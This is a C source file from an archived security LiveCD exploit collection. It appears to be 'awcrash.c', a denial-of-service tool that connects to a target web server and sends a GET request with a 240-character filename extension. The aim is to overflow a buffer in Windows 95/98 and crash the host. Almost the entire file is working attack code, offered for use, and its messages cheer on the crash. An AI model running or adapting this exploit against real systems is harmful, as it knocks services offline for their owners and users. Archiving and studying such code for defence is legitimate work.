home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / awcrash.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  97 lines

  1. /*
  2.  
  3.  Description: Dos Attack against any windows version (95/98 TESTED) by wildcoyote
  4.  Comments   : Windows 95 and 98 suffer from a buffer overflow that will result in a
  5.               crash if a filename with an extension longer that 232 characters is accessed.
  6.               Although arbitrary code could be executed via this manner, it would have to
  7.               composed of valid filename character values only.
  8.               Windows NT 4.0 has not yet been tested for this vulnerability, and therefore may be vulnerable as well.
  9.               (According to a bugtraq advisorie)
  10.               Btw, knowing this, i'll use thiz flaw in windows using a GET command to a file of that caracteristicz...
  11.               (on any HTTP win [serving] host)
  12.  Flamez to  : wildcoyote@gk-team.org
  13.  
  14. */
  15.  
  16. #include <netdb.h>
  17. #include <sys/types.h>
  18. #include <sys/socket.h>
  19. #include <netinet/in.h>
  20. #include <unistd.h>
  21. #include <string.h>
  22. #include <stdio.h>
  23. #include <stdlib.h>
  24. #include <unistd.h>
  25. #include <errno.h>
  26.  
  27. int 
  28. openhost(char *host,int port) {
  29.    int sock;
  30.    struct sockaddr_in addr;
  31.    struct hostent *he;
  32.    
  33.    he=gethostbyname(host);
  34.    
  35.    if (he==NULL) {
  36.       perror("gethostbyname()");
  37.       exit(-1); }
  38.    
  39.    sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
  40.    
  41.    if (sock==-1) {
  42.       perror("socket()");
  43.       exit(-1); }
  44.  
  45.    memcpy(&addr.sin_addr, he->h_addr, he->h_length);
  46.    addr.sin_family=AF_INET;
  47.    addr.sin_port=htons(port);
  48.  
  49.    if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
  50.        sock=-2; }
  51.  
  52.    return sock;
  53. }
  54.  
  55. void 
  56. sends(int sock,char *buf) {
  57.   write(sock,buf,strlen(buf));
  58. }
  59.  
  60. void 
  61. attack(char *host, int port)
  62. {
  63.  int sock,i;
  64.  char *buf;
  65.  printf("\n\tDos Attack against any windows version (95/98 TESTED) by wildcoyote\n\n");
  66.  printf("Trying to connect to %s (%d)....(please wait)\n",host,port);
  67.  sock=openhost(host,port);
  68.  if(sock<=0) {
  69.      printf("- Could not connect -\n");
  70.      printf("Exiting...\n\n");
  71.      exit(-1);
  72.  }
  73.  else printf("Connected to %s (%d)\n",host,port);
  74.  buf = (char *) malloc(260);
  75.  strcpy(buf,"GET /command.");
  76.  for(i=0;i<240;i++) strcat(buf,"A");
  77.  strcat(buf,"\n");
  78.  printf("Oh k! Sending a 240'char (extension) filename request to host...\n");
  79.  sends(sock,buf);
  80.  close(sock);
  81.  free(buf);
  82.  printf("Crash sent! The host *probably* crashed :P\n");
  83.  printf("Send flamez to wildcoyote@gk-team.org, *Enjoy*...\n\n");
  84. }
  85.  
  86. main(int argc, char *argv[])
  87. {
  88.  int sock,i;
  89.  if (argc<2) {
  90.     printf("\n\tDos Attack against any windows version (95/98 TESTED) by wildcoyote\n\n");
  91.     printf("Sintaxe: %s <host> [port - default 80]\n",argv[0]);
  92.     printf("Send flamez to wildcoyote@gk-team.org, *Enjoy*...\n\n");
  93.  }
  94.  else if (argc==2) attack(argv[1],80);
  95.       else attack(argv[1],atoi(argv[2]));
  96. }
  97. /*                    www.hack.co.za           [1 August2000